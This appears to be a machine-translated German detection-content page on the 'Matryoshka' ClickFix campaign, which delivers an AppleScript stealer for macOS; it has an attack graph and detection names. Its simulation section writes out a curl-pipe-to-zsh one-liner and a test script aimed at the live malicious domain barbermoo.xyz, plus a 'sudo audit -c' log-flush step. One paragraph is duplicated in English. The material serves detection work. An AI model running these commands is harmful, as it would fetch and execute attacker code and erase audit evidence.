Entpacken der neuen „Matryoshka“ KlickFix-Variante: Typosquatting-Kampagne liefert macOS-Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine neue macOS-Malware-Operation namens Matryoshka missbraucht eine vertippte Domain, um Opfer dazu zu bringen, einen bösartigen Befehl in das Terminal einzufügen. Der Einzeiler zieht ein codiertes Skript, das im Speicher dekodiert wird und letztlich einen auf AppleScript basierenden Dieb bereitstellt, der auf Browser-Anmeldedaten und Kryptowährungs-Wallets abzielt. Der Installer läuft leise im Hintergrund, unterdrückt sichtbare Ausgaben und lädt gesammelte Daten mit einem benutzerdefinierten API-Header. Die Kampagne wird durch Benutzerinteraktion und nicht durch einen Software-Exploit angetrieben.
Untersuchung
Analysten bei Intego rekonstruierten die Kette von Anfang bis Ende: eine vertippte Domain leitet Benutzer zu einer leichten Shell-Phase auf barbermoo.xyz um. Dieses Skript führt eine Base64 + gzip-Dekodierung im Speicher durch, startet einen Loader, der die AppleScript-Nutzlast abruft, und bereitet die Sammlungsergebnisse in /tmp/osalogging.zip vor, bevor es zur Exfiltration kommt. Das AppleScript versucht, Anmeldedaten durch eine gefälschte Systemsteuerungsaufforderung zu stehlen, und zielt auch auf Krypto-Tools, indem es Ledger Live- und Trezor Suite-Anwendungsbündel ersetzt oder patcht. analysts reconstructed the chain end to end: a typo-squatted domain redirects users to a lightweight shell stage hosted at barbermoo.xyz. That script performs Base64 + gzip decoding in memory, executes a loader that retrieves the AppleScript payload, and stages collection results into /tmp/osalogging.zip before exfiltration. The AppleScript attempts credential theft by presenting a fake System Preferences prompt, and it also targets crypto tooling by replacing or patching Ledger Live and Trezor Suite application bundles.
Abschwächung
Benutzerbewusstsein ist die primäre Kontrolle: Keine Terminal-Befehle von Websites einfügen. Blockieren und überwachen Sie die identifizierten vertippten und C2-bezogenen Domains sowie die Verkehrsinfrastruktur, die die Bereitstellung unterstützt. Wenden Sie eine Anwendungs-Whitelist an und nutzen Sie Endpunktschutz, der verdächtige osascript-Ausführungen und abnormale curl-basierte Abrufmuster erkennen kann.
Antwort
Alarmieren Sie bei Terminal-initiiertem curl, der an zsh oder osascript geleitet wird, überwachen Sie die Erstellung von /tmp/osalogging.zip und kennzeichnen Sie unerwartete Änderungen an Ledger Live- und Trezor Suite-Bündeln. Erzwingen Sie DNS-Filterung für barbermoo.xyz, comparisions.org und macfilesendstream.com. Untersuchen Sie jeden Prozess, der unmittelbar nach der Ausführung eines curl-getriebenen Befehls leise im Hintergrund startet.
„graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access[„<b>Aktion</b> – <b>T1204.001 Benutzer-Ausführung Bösartiger Link</b><br/><b>Beschreibung</b>: Opfer besucht eine vertippte Domain und sieht einen Kopieren-Einfügen-Befehl.“] class action_initial_access action tool_curl[„<b>Werkzeug</b> – <b>Name</b>: curl<br/><b>Beschreibung</b>: Überträgt Daten von einer URL auf die Opfermaschine.“] class tool_curl tool process_fetch_rogue[„<b>Prozess</b> – <b>Name</b>: fetch_rogue.sh<br/><b>Befehl</b>: curl u2026 | sh“] class process_fetch_rogue process action_execution[„<b>Aktion</b> – <b>T1059.004 Unix Shell</b><br/><b>Beschreibung</b>: Führt Unix-Shell-Befehle aus, um rogue.sh herunterzuladen und auszuführen.“] class action_execution action action_obfuscation[„<b>Aktion</b> – <b>T1027.009 Eingebettete Nutzlasten</b><br/><b>Beschreibung</b>: rogue.sh enthält eine base64u2011gzip-Nutzlast, die direkt im Speicher dekodiert wird.“] class action_obfuscation action action_indirect_exec[„<b>Aktion</b> – <b>T1202 Indirekte Befehlsausführung</b><br/><b>Beschreibung</b>: Loader läuft im Hintergrund, trennt sich vom Terminal und unterdrückt die I/O.“] class action_indirect_exec action tool_applescript[„<b>Werkzeug</b> – <b>Name</b>: AppleScript<br/><b>Beschreibung</b>: Zeigt einen gefälschten Systemsteuerungsdialog an, um Benutzereingaben zu erfassen.“] class tool_applescript tool action_gui_capture[„<b>Aktion</b> – <b>T1056.002 GUI-Eingabe-Erfassung</b><br/><b>Beschreibung</b>: AppleScript-Dialog erfasst Passwörter, die vom Benutzer eingegeben werden.“] class action_gui_capture action action_cred_harvest[„<b>Aktion</b> – <b>T1056 Eingabe-Erfassung</b><br/><b>Beschreibung</b>: Skript erntet gespeicherte Browser-Anmeldedaten nach Benutzerinteraktion.“] class action_cred_harvest action action_masquerade[„<b>Aktion</b> – <b>T1036 Verschleierung</b><br/><b>Beschreibung</b>: Ersetzt und unterschreibt Ledger Live- und Trezor Suite-Binärdateien mit bösartigen Versionen neu.“] class action_masquerade action action_stage_data[„<b>Aktion</b> – <b>T1074.001 Lokale Datenstaging</b><br/><b>Beschreibung</b>: Stellt gestohlene Dateien in /tmp/osalogging.zip vor der Exfiltration bereit.“] class action_stage_data action action_c2_comm[„<b>Aktion</b> – <b>T1071.001 Web-Protokolle</b><br/><b>Beschreibung</b>: Kommuniziert mit dem C2-Server mithilfe von HTTP(S)-Anfragen und einem benutzerdefinierten APIu2011Schlüssel-Header.“] class action_c2_comm action action_exfil_over_c2[„<b>Aktion</b> – <b>T1041 Exfiltration über C2-Kanal</b><br/><b>Beschreibung</b>: Lädt das bereitgestellte Zip-Archiv über eine POST-Anfrage auf den C2-Server hoch.“] class action_exfil_over_c2 action action_auto_exfil[„<b>Aktion</b> – <b>T1020 Automatisierte Exfiltration</b><br/><b>Beschreibung</b>: Daten werden automatisch an den C2 gesendet, ohne dass eine weitere Benutzerinteraktion erforderlich ist.“] class action_auto_exfil action %% Connections action_initial_access u002du002d>|Verwendet| tool_curl tool_curl u002du002d>|Lädt herunter| process_fetch_rogue process_fetch_rogue u002du002d>|Führt aus| action_execution action_execution u002du002d>|Führt zu| action_obfuscation action_obfuscation u002du002d>|Ermöglicht| action_indirect_exec action_indirect_exec u002du002d>|Verwendet| tool_applescript tool_applescript u002du002d>|Löst aus| action_gui_capture action_gui_capture u002du002d>|Erfasst| action_cred_harvest action_cred_harvest u002du002d>|Speist| action_masquerade action_masquerade u002du002d>|Speichert| action_stage_data action_stage_data u002du002d>|Überträgt| action_c2_comm action_c2_comm u002du002d>|Exfiltriert| action_exfil_over_c2 action_exfil_over_c2 u002du002d>|Automatisiert| action_auto_exfil %% Class assignments class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process „
Angriffsfluss
Erkennungen
Mögliche Base64-kodierte Zeichenkettenmanipulation (über cmdline)
Ansicht
Archiv wurde im MacOS-Temporärordner erstellt (über file_event)
Ansicht
Verdächtige Befehls- und Steuerung durch ungewöhnliche Top-Level-Domain (TLD) DNS-Anfrage (über dns)
Ansicht
Verdächtiger Curl-Ausführungsversuch [MacOS] (über cmdline)
Ansicht
Erkennung der Ausführung des Matryoshka-Varianten-Terminalbefehls [Erstellung des Linux-Prozesses]
Ansicht
Simulationsausführung
Voraussetzung: Der Vorflug-Check für Telemetrie & Baseline muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertechnik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und Erzählstränge MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer, der bereits ein macOS-Konto mit niedrigen Rechten kompromittiert hat, möchte eine Remote-Nutzlast ausführen, ohne Dateien auf die Festplatte zu schreiben. Er erstellt einen Einzeiler, der ein Base-64-codiertes Skript von einer bösartigen C2-Domain (barbermoo.xyz), leitet es direkt anzsh, und verwendet schließlichevalzur Ausführung der In-Memory-Nutzlast. Dieser Ansatz stimmt mit T1059.004 (Unix Shell) und T1027 (Verschleierung) überein und entspricht genau dem, wonach die Sigma-Regel sucht.-
Der Angreifer erhält ein einzigartiges Token (
ABCD1234), das die Anfrage mit ihrer Kampagne verbindet. -
Sie führen den folgenden Einzeiler in einer Terminal-Sitzung aus:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh -
Innerhalb des abgerufenen Skripts hält eine Variable
payloadeine base64-kodierte bösartige Nutzlast, die folgendermaßen ausgeführt wird:eval "$payload"
Dies erzeugt zwei verschiedene Befehlszeileneinträge, die mit der Regel übereinstimmen:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsheval "$payload"
-
-
Regressionstest-Skript:
Das untenstehende Skript reproduziert das bösartige Verhalten in einer kontrollierten Laborumgebung. Führen Sie es nur auf einem macOS-Testsystem aus. Es protokolliert seine eigene Ausführung in das Systemprüfprotokoll und erfüllt so die Erkennungsregel.#!/usr/bin/env bash # ------------------------------------------------- # Matryoshka-Varianten-Simulation – löst Sigma-Regel aus # ------------------------------------------------- set -euo pipefail # --- Konfiguration ------------------------------------------------- TOKEN="ABCD1234" # Ersetzen Sie dies durch einen beliebigen String, um die Einzigartigkeit zu simulieren MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}" # Eine winzige harmlose Nutzlast für die Demo – gibt eine Nachricht aus (ersetzen Sie bei Red-Team durch echte Nutzlast) PAYLOAD="echo 'Bösartige Nutzlast ausgeführt'" # --- Schritt 1: Abrufen und an zsh weiterleiten (entspricht dem ersten Erkennungsmuster) --- curl -fsSL "${MALICIOUS_URL}" | zsh # --- Schritt 2: Simulieren Sie die In-Memory-Auswertung (entspricht dem zweiten Muster) ------------- # Bei einem echten Angriff wäre die Nutzlast base64-kodiert und würde on-the-fly dekodiert. eval "${PAYLOAD}" -
Bereinigungskommandos: Entfernen Sie alle transitorischen Prozesse und stellen Sie den Shell-Zustand wieder her.
# Beenden Sie alle zsh-Prozesse, die durch den Test gestartet wurden (falls noch aktiv) pkill -f "zsh -c .*barbermoo.xyz" # Optionally clear the audit log of the test entries (requires admin) sudo audit -c # Flushes the audit buffer (demonstrates T1070.010)